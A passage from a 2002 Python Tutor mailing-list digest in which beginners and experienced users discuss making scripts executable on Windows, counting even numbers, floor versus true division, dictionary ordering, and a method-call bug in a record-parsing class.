Subject: [Tutor] How do we make a program to be executed...
Message-ID: <F188pDS7hx27kBnccYT00000b1f@hotmail.com>

Hi again,

Now that I've wrote a small program, I want to know how can I make it an 
executable program. I mean how do I make it a complete program that we only 
need to exe its icon and not getting into the code and run script. I hope 
you do understand me.

Furthermore, could you please tell me how do we clear the screen (cls)?

Thanks and best regards,
Thanos


_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp.



From arcege@speakeasy.net  Wed Feb 20 23:01:04 2002
From: arcege@speakeasy.net (Michael P. Reilly)
Date: Wed, 20 Feb 2002 18:01:04 -0500
Subject: [Tutor] Re: [Edu-sig] style question
In-Reply-To: <4.2.0.58.20020220135745.01af8140@pop3.norton.antivirus>; from urnerk@qwest.net on Wed, Feb 20, 2002 at 01:59:13PM -0800
References: <fc.004c4b6b008df05e004c4b6b008df05e.8df087@blakeschool.org > <4.2.0.58.20020220135745.01af8140@pop3.norton.antivirus>
Message-ID: <20020220180104.A899@speakeasy.net>

On Wed, Feb 20, 2002 at 01:59:13PM -0800, Kirby Urner wrote:
> 
> >  Which (if either) of the two
> >codes would be preferred:
> 
> I agree with Danny that a list-based approach would be
> better:
> 
>    from operator import add
> 
>    def check(testlist):
>        return reduce(add,[i%2==0 for i in testlist])
> 
>    >>> check([1,4,5,9,3,8,7])
>    2

However, it is still a "bad idea" to add boolean values.  A true integer
is anything that is not zero.  Conceivably, this could be -1;  I could
easily create a __eq__ method (in Py2.1 and later) that returns -1 or
1e10 or even "true".

What's better is to get the length of the list where the value is true.

how_many_evens = len( filter(lambda i, i%2==0, testlist) )

  -Arcege



From scarblac@pino.selwerd.nl  Wed Feb 20 23:10:50 2002
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Thu, 21 Feb 2002 00:10:50 +0100
Subject: [Tutor] Re: [Edu-sig] style question
In-Reply-To: <20020220180104.A899@speakeasy.net>; from arcege@speakeasy.net on Wed, Feb 20, 2002 at 06:01:04PM -0500
References: <fc.004c4b6b008df05e004c4b6b008df05e.8df087@blakeschool.org <4.2.0.58.20020220135745.01af8140@pop3.norton.antivirus> <20020220180104.A899@speakeasy.net>
Message-ID: <20020221001050.A3924@pino.selwerd.nl>

On  0, "Michael P. Reilly" <arcege@speakeasy.net> wrote:
> However, it is still a "bad idea" to add boolean values.

However, a%2 isn't a boolean just because it's either 0 or 1. It's the
remainder if a is divided by 2. And the sum of those remainders is
obviously the number of nubmers that were odd.

> A true integer
> is anything that is not zero.  Conceivably, this could be -1;  I could
> easily create a __eq__ method (in Py2.1 and later) that returns -1 or
> 1e10 or even "true".

Yes. But the truth value was never tested, and isn't relevant. This is a
good kneejerk reaction in many cases, but not here :-)

-- 
Remco Gerlich


From dsh8290@rit.edu  Wed Feb 20 23:16:39 2002
From: dsh8290@rit.edu (dman)
Date: Wed, 20 Feb 2002 18:16:39 -0500
Subject: [Tutor] style question
In-Reply-To: <fc.004c4b6b008df05e004c4b6b008df05e.8df087@blakeschool.org>
References: <fc.004c4b6b008df05e004c4b6b008df05e.8df087@blakeschool.org>
Message-ID: <20020220231639.GA23675@dman.ddts.net>

On Wed, Feb 20, 2002 at 02:38:44PM -0600, Christopher Smith wrote:
| I have a question of style and am wondering if you would consider giving
| some feedbakc.  Let's say you have a task of finding out how many of 5
| positive integer numbers (a-e) are even.  Which (if either) of the two
| codes would be preferred:

How about this :

def is_even( n ) :
    return n % 2 == 0

def count_even( l ) :
    count = 0
    for i in l :
        if is_even( i ) :
            count += 1
    return count


The advantages of this style are :
    o   correct use of types (boolean vs. integer)
    o   generalizes to any finite sequence of numbers, not just 5
    o   each operation is coded once (no repetition like the if-else
        ladder)

I'm sure this could be written even shorter using functional styles or
list comprehensions, but this is the first way I thought of writing it
and it doesn't seem quite clear and not overly long.

-D

-- 

If we confess our sins, He is faithful and just and will forgive us our
sins and purify us from all unrighteousness.
        I John 1:9



From lha2@columbia.edu  Wed Feb 20 23:39:53 2002
From: lha2@columbia.edu (Lloyd Hugh Allen)
Date: Wed, 20 Feb 2002 18:39:53 -0500
Subject: [Tutor] python 2.2
References: <5104D4DBC598D211B5FE0000F8FE7EB20E66C3A7@mbtlipnt02.btlabs.bt.co.uk> <4.2.0.58.20020220132440.01acb9c0@pop3.norton.antivirus>
Message-ID: <3C7433C9.C2CE072F@mail.verizon.net>

Kirby Urner wrote:
> 
> >  because I do have Norton Internet
> >Security 2001?
> >
> >Cameron Stoner
> 
> I think you should turn off Norton for awhile and see if
> the Python 2.2 freeze-up goes away.  If you're not using
> VPython when the freeze happens, then I don't consider
> VPython a suspect.
> 
> Kirby
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor

You have to do more than just turn it off, though, iirc. I had a similar
problem as soon as I installed Norton, and eventually figured out that
every time that Norton's background "Go Check for Virus Updates" daemon
ran itself, my system would freeze (I've heard since then that it was
probably fighting with either ZoneAlarm or (somehow) one of the Quicken
agents). And the uninstaller didn't uninstall the piece that was giving
me grief--I didn't really have my machine back until I went in and
played with regedit, which I had never had to do before.


From urnerk@qwest.net  Wed Feb 20 23:50:44 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Wed, 20 Feb 2002 15:50:44 -0800
Subject: [Tutor] Re: [Edu-sig] style question
In-Reply-To: <20020220180104.A899@speakeasy.net>
References: <4.2.0.58.20020220135745.01af8140@pop3.norton.antivirus>
 <fc.004c4b6b008df05e004c4b6b008df05e.8df087@blakeschool.org >
 <4.2.0.58.20020220135745.01af8140@pop3.norton.antivirus>
Message-ID: <4.2.0.58.20020220154914.01aaa9d0@pop3.norton.antivirus>

>
>What's better is to get the length of the list where the value is true.
>
>how_many_evens = len( filter(lambda i, i%2==0, testlist) )
>
>   -Arcege

As yet, I don't get the real difference between getting the
length by filtering on i%2==0, and adding the 1s in
reduce(add,[i%2==0 for i in testlist]).  I'm missing some
subtle point.

Kirby



From tim.one@comcast.net  Wed Feb 20 23:13:47 2002
From: tim.one@comcast.net (Tim Peters)
Date: Wed, 20 Feb 2002 18:13:47 -0500
Subject: [Tutor] / vs //
In-Reply-To: <fc.004c4b6b008de962004c4b6b008de962.8de9e1@blakeschool.org>
Message-ID: <LNBBLJKPBEHFEDALKOLCEEAENOAA.tim.one@comcast.net>

[Christopher Smith]
> The two operations below yield different results...does / know something
> that // doesn't know?

It's actually the reverse:  // knows something / doesn't!  This isn't easy
to understand, though, and it will take real effort if you want to
understand it fully.  I do, but I suggest nobody else bother <wink>.

> >>> 3.9//1.3
> 2.0
> >>> 3.9/1.3
> 3.0
>
> It seems like // is being technically corrrect since 3.9 is a little
> smaller than 3.9

It's also the case that 1.3 is an approximation, and that the number stored
in the machine is a little larger than (the mathematical) 13/10.  If 13/10 =
I/2**J exactly for some integers I and J, then 13*2**J = 10*I exactly.  But
5 divides 10*I evenly, therefore must also divide 13*2**J evenly.  But there
is no integer J such that 5 divides 13*2**J evenly.  Therefore the decimal
number 1.3 cannot be represented exactly as a binary floating-point number
with any finite number of bits.

> but that / is being a little smarter and trying to give you a closer
> approximation.

Nope.  "/" takes the two approximations, divides them "as if" with infinite
precison, then *rounds* the result to 53 significant bits.  floor() doesn't
round; for positive inputs, floor truncates instead.

> >>> 3.9
> 3.8999999999999999
> >>> 1.3
> 1.3

As above, 1.3 isn't exactly 13/10 either, but it is so *close* to 13/10 that
rounding its true decimal value to 17 significant decimal digits yields
"1.3".  Precisely, assuming your platform C library does best-possible
conversion of decimal strings to IEEE doubles, the value stored for 1.3 is
exactly

11709359031163290
-----------------
 9007199254740992  (this is 2**54, by the way)

and converting that back to decimal again gives

1.300000000000000044408920985006...

If you round that to 17 significant decimal digits, you get the "1.3" that
Python displays.

> PEP 238 says that a//b should act like floor(a/b) but you can see in this
> example that it doesn't since that result is 3.0 not 2.0

Another subtletly:  the docs say "floor", not "math.floor".  floor is a
mathematical function; math.floor is a computer implementation of that
mathematical function, but subject to limitations due to finite
floating-point accuracy.  In much the same way, floating-point numbers
themselves are an approximation to real numbers.

And another subtlety:  the "/" in the doc's "floor(a/b)" means mathematical
("infinite precision") division, not computer floating-point division.

> >>> math.floor(3.9/1.3)
> 3.0

The approximation computed for 3.9/1.3 happens to be exactly 3.0, so
math.floor() leaves it alone.

// is the smarter one here.  It knows that 3.9/1.3 does not have an exact
result, and indeed that if carried out to infinite precision it would give a
quotient of 2 and leave a remainder of

>>> math.fmod(3.9, 1.3)
1.2999999999999998
>>>

What "//" returns is the first element of the tuple returned by the builtin
divmod():

>>> divmod(3.9, 1.3)
(2.0, 1.2999999999999998)
>>>

The important point to take from all this is that floor truncates positive
inputs, while floating-point "/" rounds.

I told you at the start it would be painful <wink>.



From urnerk@qwest.net  Wed Feb 20 23:55:17 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Wed, 20 Feb 2002 15:55:17 -0800
Subject: [Tutor] Re: [Edu-sig] style question
In-Reply-To: <20020221001050.A3924@pino.selwerd.nl>
References: <20020220180104.A899@speakeasy.net>
 <fc.004c4b6b008df05e004c4b6b008df05e.8df087@blakeschool.org <4.2.0.58.20020220135745.01af8140@pop3.norton.antivirus>
 <20020220180104.A899@speakeasy.net>
Message-ID: <4.2.0.58.20020220155115.01aa6230@pop3.norton.antivirus>

At 12:10 AM 2/21/2002 +0100, Remco Gerlich wrote:
>On  0, "Michael P. Reilly" <arcege@speakeasy.net> wrote:
> > However, it is still a "bad idea" to add boolean values.
>
>However, a%2 isn't a boolean just because it's either 0 or 1. It's the
>remainder if a is divided by 2. And the sum of those remainders is
>obviously the number of nubmers that were odd.

In the example being criticized (mine), I was going
a%2==1, getting a boolean to count evens, which is
what we wanted to count, not the number of odds.

But the proposed alternative used the same boolean
test, but filtered out the falses, counting the
number of remainders.  What I'm not getting is why
adding 1s is worse than filtering out 0s and
counting how many are left.

Kirby



From dsh8290@rit.edu  Thu Feb 21 00:13:42 2002
From: dsh8290@rit.edu (dman)
Date: Wed, 20 Feb 2002 19:13:42 -0500
Subject: [Tutor] python 2.2
In-Reply-To: <4.2.0.58.20020220133234.01af4840@pop3.norton.antivirus>
References: <DAV48uAy0BYTxHwMQFL0001497b@hotmail.com> <5104D4DBC598D211B5FE0000F8FE7EB20E66C3A7@mbtlipnt02.btlabs.bt.co.uk> <DAV48uAy0BYTxHwMQFL0001497b@hotmail.com> <4.2.0.58.20020220133234.01af4840@pop3.norton.antivirus>
Message-ID: <20020221001342.GA24585@dman.ddts.net>

On Wed, Feb 20, 2002 at 01:33:46PM -0800, Kirby Urner wrote:
 
| >IDE?  Maybe you're talking about something different, but I thought
| >that "VPython" referred to
| >    www.vpython.org
| >though I am aware of some other things with "V" in the name (such as
| >VTK)
| 
| VPython (the one you cite) comes with its own modified IDLE to
| permit use of Tk more successfully than standard IDLE does.

I don't use IDLE in the first place, so I hadn't noticed.  I just
stuck the visual/ directory (package) and cvisualmodule.so in
$PYTHONPATH.

-D

-- 

The crucible for silver and the furnace for gold,
but the Lord tests the heart.
        Proverbs 17:3



From p.hartley@spitech.com  Thu Feb 21 03:29:53 2002
From: p.hartley@spitech.com (Paul Hartley)
Date: Thu, 21 Feb 2002 11:29:53 +0800
Subject: [Tutor] Function return
Message-ID: <002601c1ba88$391e7320$ebe710ac@pc7345>

This is a multi-part message in MIME format.

------=_NextPart_000_001F_01C1BACB.150103C0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

I am trying to create a python program to read a text file containing =
fixed length records, splitting the records up into fields.

I read all the lines using readlines() into an array, then parse each =
line into a dictionary and finally append the dictionary for each line =
into an array of all records

(Comments on the style and code used much appreciated)

However I was trying to get at the records and fields and tried to =
return the records array from a function because in prevous languages I =
read that it is better to wrap data in a class around a function rather =
than accessing the data directly and my program fell over when I tried =
to return self.records in the code below (see the function getRecords

Below is the source code :-

class closedRecords:

  def __init__(self, file, filter =3D None):
    f =3D open(file,'r')
    lines =3D f.readlines()
    f.close()
    self.records =3D []=20
    for l in lines:
      record =3D self.parseLine(l)
      if filter:
        if record["jobname"] =3D=3D filter:
          self.records.append(record)
      else:
        self.records.append(record)

  def noRecords(self):  # Under the assumption that it is better to =
provide acces via a function
                                 # rather than access the class.records =
directly
    return len(self.records)

  def getRecords(self):
    return self.records  # This does not seem to be working

  def parseLine(self, line): # line is fixed length, with fixed length =
records (from a dbase file)
    dict =3D {}
    dict['deleted'] =3D line[0:1]
    dict['barcode'] =3D line[1:9]
    dict['jobcode'] =3D line[9:17]
    etc .....
    return dict=20

if __name__ =3D=3D "__main__":

  closed =3D closedRecords("closed.001", "LIS00139")
  print 'No records', closed.noRecords()
  recs =3D closed.getRecords
  print "Records:",recs  # Prints out what looks like addresses to the =
function, not the array
  for r in recs:               # Fails with not a sequence error
    print r["jobcode"]


------=_NextPart_000_001F_01C1BACB.150103C0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I am trying to create a python program =
to read a=20
text file containing fixed length records, splitting the records up into =

fields.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I read all the lines using readlines() =
into an=20
array, then parse each line into a dictionary and finally append the =
dictionary=20
for each line into an array of all records</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>(Comments on the style and code used =
much=20
appreciated)</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>However I was&nbsp;trying to get at the =
records and=20
fields and tried to return the records array from a function because in =
prevous=20
languages I read that it is better to wrap data in a class around a =
function=20
rather than accessing the data directly and my program fell over when I =
tried to=20
return self.records in the code below (see the function =
getRecords</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Below is the source code =
:-</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>class closedRecords:</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp; def __init__(self, file, filter =
=3D=20
None):<BR>&nbsp;&nbsp;&nbsp; f =3D open(file,'r')<BR>&nbsp;&nbsp;&nbsp; =
lines =3D=20
f.readlines()<BR>&nbsp;&nbsp;&nbsp; f.close()<BR>&nbsp;&nbsp;&nbsp; =
self.records=20
=3D [] <BR>&nbsp;&nbsp;&nbsp; for l in =
lines:<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
record =3D self.parseLine(l)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if=20
filter:<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if =
record["jobname"] =3D=3D=20
filter:<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
self.records.append(record)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
else:<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
self.records.append(record)</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp; def noRecords(self):&nbsp; # =
Under the=20
assumption that it is better to provide acces via a =
function</FONT></DIV>
<DIV><FONT face=3DArial=20
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
#&nbsp;rather than access the class.records =
directly<BR>&nbsp;&nbsp;&nbsp;=20
return len(self.records)</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp; def =
getRecords(self):<BR>&nbsp;&nbsp;&nbsp;=20
return self.records&nbsp; # This does not seem to be =
working</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp; def parseLine(self, line): # =
line is fixed=20
length, with fixed length records (from a dbase =
file)<BR>&nbsp;&nbsp;&nbsp; dict=20
=3D {}<BR>&nbsp;&nbsp;&nbsp; dict['deleted'] =3D =
line[0:1]<BR>&nbsp;&nbsp;&nbsp;=20
dict['barcode'] =3D line[1:9]<BR>&nbsp;&nbsp;&nbsp; dict['jobcode'] =3D=20
line[9:17]</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; etc =
.....<BR>&nbsp;&nbsp;&nbsp;=20
return dict </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>if __name__ =3D=3D =
"__main__":</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp; closed =3D =
closedRecords("closed.001",=20
"LIS00139")<BR>&nbsp; print 'No records', closed.noRecords()<BR>&nbsp; =
recs =3D=20
closed.getRecords<BR>&nbsp; print "Records:",recs&nbsp; # Prints out =
what looks=20
like addresses to the function, not the array<BR>&nbsp; for r in=20
recs:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;=20
# Fails with not a sequence error<BR>&nbsp;&nbsp;&nbsp; print=20
r["jobcode"]<BR></FONT></DIV></BODY></HTML>

------=_NextPart_000_001F_01C1BACB.150103C0--



From wolf_binary@hotmail.com  Thu Feb 21 03:38:02 2002
From: wolf_binary@hotmail.com (Cameron Stoner)
Date: Wed, 20 Feb 2002 21:38:02 -0600
Subject: [Tutor] dictionaries
Message-ID: <DAV680D8LEHlA92YIKI000077b0@hotmail.com>

This is a multi-part message in MIME format.

------=_NextPart_000_0005_01C1BA56.DFD952C0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

I would like to know why the C part of my dictionary when I update it =
from the 2nd one goes before B.

>>> x =3D "A"
>>> y =3D "1"
>>> dict=3D{}
>>> dict2 =3D {x:y}
>>> dict.update(dict2)
>>> dict
{'A': '1'}
>>> x =3D "B"
>>> y =3D "2"
>>> dict2 =3D {x:y}
>>> dict.update(dict2)
>>> dict
{'A': '1', 'B': '2'}
>>> x =3D "C"
>>> y =3D "3"
>>> dict2 =3D {x:y}
>>> dict.update(dict2)
>>> dict
{'A': '1', 'C': '3', 'B': '2'}

Thanks,
Cameron Stoner=20

>>>=20

------=_NextPart_000_0005_01C1BA56.DFD952C0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2713.1100" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I would like to know why the C part of =
my=20
dictionary when I update it from the 2nd one goes before B.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&gt;&gt;&gt; x =3D "A"<BR>&gt;&gt;&gt; =
y =3D=20
"1"<BR>&gt;&gt;&gt; dict=3D{}<BR>&gt;&gt;&gt; dict2 =3D =
{x:y}<BR>&gt;&gt;&gt;=20
dict.update(dict2)<BR>&gt;&gt;&gt; dict<BR>{'A': '1'}<BR>&gt;&gt;&gt; x =
=3D=20
"B"<BR>&gt;&gt;&gt; y =3D "2"<BR>&gt;&gt;&gt; dict2 =3D =
{x:y}<BR>&gt;&gt;&gt;=20
dict.update(dict2)<BR>&gt;&gt;&gt; dict<BR>{'A': '1', 'B': =
'2'}<BR>&gt;&gt;&gt;=20
x =3D "C"<BR>&gt;&gt;&gt; y =3D "3"<BR>&gt;&gt;&gt; dict2 =3D =
{x:y}<BR>&gt;&gt;&gt;=20
dict.update(dict2)<BR>&gt;&gt;&gt; dict<BR>{'A': '1', <STRONG>'C': =
'3'</STRONG>,=20
'B': '2'}</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Cameron Stoner&nbsp;</DIV>
<DIV><BR>&gt;&gt;&gt; </FONT></DIV></BODY></HTML>

------=_NextPart_000_0005_01C1BA56.DFD952C0--


From urnerk@qwest.net  Thu Feb 21 03:52:41 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Wed, 20 Feb 2002 19:52:41 -0800
Subject: [Tutor] dictionaries
In-Reply-To: <DAV680D8LEHlA92YIKI000077b0@hotmail.com>
Message-ID: <4.2.0.58.20020220195158.00cd8a30@pop3.norton.antivirus>

At 09:38 PM 2/20/2002 -0600, Cameron Stoner wrote:
>I would like to know why the C part of my dictionary when I update it from 
>the 2nd one goes before B.
>

Dictionaries have no concept of order.  Nothing
should surprise you about what comes before or
after what in a dictionary.

Kirby



From urnerk@qwest.net  Thu Feb 21 04:24:46 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Wed, 20 Feb 2002 20:24:46 -0800
Subject: [Tutor] Function return
In-Reply-To: <002601c1ba88$391e7320$ebe710ac@pc7345>
Message-ID: <4.2.0.58.20020220195653.0094f610@pop3.norton.antivirus>

 >  closed = closedRecords("closed.001", "LIS00139")
 >  print 'No records', closed.noRecords()
 >  recs = closed.getRecords
           ^^^^^^^^^^^^^^^^^

Here's a problem:  by leaving off the open-close parentheses,
you return a reference to the function, instead of causing
the function to execute.  Which explains...

 >  print "Records:",recs  # Prints out what looks like addresses
                            to the function, not the array

...why recs is a reference to a method in your class.

 >  for r in recs:               # Fails with not a sequence error
 >    print r["jobcode"]

Just put the parentheses after closed.getRecords() <-- like this
and it'll probably work.

A comment on style:  I think using a class to wrap the the
functionality needed to read some fixed length records is overkill
in this example.  What you get at the end of the day is a single
instance containing a list of dictionary instances, which is
a somewhat exotic data structure.

I think a more "normal" implementation of this idea would be to
have a dictionary of objects when done, with each object
corresponding to a record in the original file.  An object is
*like* a dictionary, and could have properties like jobname
or whatever corresponds to the fields in your DBF.

In pseudocode:

   myrecords = {}

   class Record:
      def __init__(self, jobname, other1, other2....):
          # or you could pass a dictionary as an arg
          self.jobname = jobname
          self.other1 = other1
          self.other2 = other2

   def createRecords(filename):
       global myrecords
       f = open(filename)
       lines = f.readlines()
       for line in lines:
           values = parseLine(line)
           # here we presume values[0] is unique
           myrecords[values[0]] = Record(values)

But even this might be overkill.  It all depends on what you're
planning to do with all this data.

Kirby

PS:  for posting to tutor, best to post in plaintext only.
You had some proportional font going, which makes it harder
to read the code (some people say we should get used to
coding in proportional types, but that's advice I think
most programmers thankfully ignore).



From paulsid@shaw.ca  Thu Feb 21 04:56:17 2002
From: paulsid@shaw.ca (Paul Sidorsky)
Date: Wed, 20 Feb 2002 21:56:17 -0700
Subject: [Tutor] Function return
References: <4.2.0.58.20020220195653.0094f610@pop3.norton.antivirus>
Message-ID: <3C747DF1.38C7E771@shaw.ca>

Earlier, Paul Hartley wrote:

> However I was trying to get at the records and fields and tried to 
> return the records array from a function because in
> prevous languages I read that it is better to wrap data in a class 
> around a function rather than accessing the data
> directly and my program fell over when I tried to return 
> self.records in the code below (see the function getRecords

Then Kirby Urner wrote:

> A comment on style:  I think using a class to wrap the the
> functionality needed to read some fixed length records is overkill
> in this example.  What you get at the end of the day is a single
> instance containing a list of dictionary instances, which is
> a somewhat exotic data structure.

Agreed, but it's a darn nice way to learn classes.  The main problem
with classes is most people have to write them to learn them, but most
things worthy of classes are too complicated to make learning
practical.  I think I mentioned this some time ago, but forcing yourself
to use classes for a trivial situation is probably the best way to learn
them.

However, implementing things with classes just because one of those
gung-ho Object Oriented Design books tells you it's the only way things
should be done is of course a Very Bad Thing.  OO is not the
end-all-and-be-all of design paradigms, despite what some books try to
get you to believe.  It has its place, but I know from personal
experience than attempting to use it for every little chore is enough to
drive one insane.  (Unless C has warped my mind so much that I already
am insane.)

Personally I have a much easier time understanding a good non-OO
implementation of something then I do with a bad OO implementation of
it.  So if I can't work out how to do something cleanly with OO then I
just don't use it.  Since all of my programs are small- or medium-scale
and I'm the only one working on them, it's not a big deal.  Of course if
you have to write a big program or one that's going to be worked on by a
team then OO will probably make things a lot easier.  Otherwise, use
what you are comfortable with.

-- 
======================================================================
Paul Sidorsky                                          Calgary, Canada
paulsid@shaw.ca                        http://members.shaw.ca/paulsid/


From dyoo@hkn.eecs.berkeley.edu  Thu Feb 21 06:02:52 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Wed, 20 Feb 2002 22:02:52 -0800 (PST)
Subject: [Tutor] Re: [Edu-sig] style question
In-Reply-To: <4.2.0.58.20020220155115.01aa6230@pop3.norton.antivirus>
Message-ID: <Pine.LNX.4.21.0202202144010.28939-100000@hkn.eecs.berkeley.edu>

On Wed, 20 Feb 2002, Kirby Urner wrote:

> At 12:10 AM 2/21/2002 +0100, Remco Gerlich wrote:
> >On  0, "Michael P. Reilly" <arcege@speakeasy.net> wrote:
> > > However, it is still a "bad idea" to add boolean values.
> >
> >However, a%2 isn't a boolean just because it's either 0 or 1. It's the
> >remainder if a is divided by 2. And the sum of those remainders is
> >obviously the number of nubmers that were odd.
> 
> In the example being criticized (mine), I was going
> a%2==1, getting a boolean to count evens, which is
> what we wanted to count, not the number of odds.
> 
> But the proposed alternative used the same boolean test, but filtered
> out the falses, counting the number of remainders.  What I'm not
> getting is why adding 1s is worse than filtering out 0s and counting
> how many are left.

[warning; code below contains Java.  Avert your eyes!  *grin*]


Certain languages have a specific 'boolean' type that is distinct from any
other values.  Let's look at the code again:

###
def check(testlist):
    return reduce(add,[i%2==0 for i in testlist])
###

I think Arcage's point was that the expression 'i % 2 == 0' is supposed to
be a "boolean", something that's either true or false.  We know that
Python gives back to us '1' if the expression is true, and '0' otherwise.  
However, not all programming languages work this way!


In many cases, 'true' and 'false' are not numeric.  Java, for example, is
very strict about forcing us to be mind-numbingly exact about things.  In
PseudoJava, the check() function might look something like this:

////// PseudoJava
static public int check(int[] testlist) {
    int sum = 0;
    for(int index = 0; index < testlist.length; i++) {
        if (i % 2 == 0) {
            sum = sum + 1;
        }
        // I'm somewhat exaggerating the boringness here.  We can
        // actually do something like:
        //     sum = sum + (i % 2 == 0 ? 1 : 0);
        // to convert the boolean back to an integer that's safe to
        // add.
    }
    return sum;
}
//////


The proposed alternative:

###
how_many_evens = len( filter(lambda i, i%2==0, testlist) )
###

avoids the issue altogether by not adding "booleans".


Personally, I think it's ok to add booleans; I feel it's fairly safe to
assme that equality testing returns an integer.


Hope this helps!



From jonikas@ldr.lt  Thu Feb 21 07:09:50 2002
From: jonikas@ldr.lt (Jonikas Valdemaras)
Date: Thu, 21 Feb 2002 09:09:50 +0200
Subject: [Tutor] How do we make a program to be executed...
References: <F188pDS7hx27kBnccYT00000b1f@hotmail.com>
Message-ID: <014601c1baa6$c0ff7870$12f6c50a@LDR.local>

> Hi again,
>
> Now that I've wrote a small program, I want to know how can I make it an
> executable program. I mean how do I make it a complete program that we
only
> need to exe its icon and not getting into the code and run script. I hope
> you do understand me.

Hi,

What kind of OS do you use?

Regards,
Valdas



From urnerk@qwest.net  Thu Feb 21 07:22:32 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Wed, 20 Feb 2002 23:22:32 -0800
Subject: [Tutor] Function return
In-Reply-To: <3C747DF1.38C7E771@shaw.ca>
References: <4.2.0.58.20020220195653.0094f610@pop3.norton.antivirus>
Message-ID: <4.2.0.58.20020220231930.00cec600@pop3.norton.antivirus>

At 09:56 PM 2/20/2002 -0700, Paul Sidorsky wrote:

>Then Kirby Urner wrote:
>
> > A comment on style:  I think using a class to wrap the the
> > functionality needed to read some fixed length records is overkill
> > in this example. <<SNIP>>


>Agreed, but it's a darn nice way to learn classes. <<SNIP>>


But note in the alternative implementation I suggested,
I still used a class -- albiet as little more than a
record structure.  That's actually a good first step
towards using classes -- just see them as groups of
properties and add methods later.

If the plan were to change data or do some computation on
it, then we could go on to furnish the class with methods.

Kirby




From thanos@internet.gr  Thu Feb 21 08:04:57 2002
From: thanos@internet.gr (Thanos)
Date: Thu, 21 Feb 2002 10:04:57 +0200
Subject: [Tutor] How do we make a program to be executed...
References: <F188pDS7hx27kBnccYT00000b1f@hotmail.com>
 <014601c1baa6$c0ff7870$12f6c50a@LDR.local>
Message-ID: <006801c1baae$7587e280$0601a8c0@NUOVA>

Win98, and the python 2.1.2 version.
Thanks,
Thanos



----- Original Message -----
From: "Jonikas Valdemaras" <jonikas@ldr.lt>
To: <tutor@python.org>
Sent: Thursday, February 21, 2002 9:09 AM
Subject: Re: [Tutor] How do we make a program to be executed...


> > Hi again,
> >
> > Now that I've wrote a small program, I want to know how can I make it an
> > executable program. I mean how do I make it a complete program that we
> only
> > need to exe its icon and not getting into the code and run script. I
hope
> > you do understand me.
>
> Hi,
>
> What kind of OS do you use?
>
> Regards,
> Valdas
>
>
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor




From urnerk@qwest.net  Thu Feb 21 08:51:15 2002
From: urnerk@qwest.net (Kirby Urner)
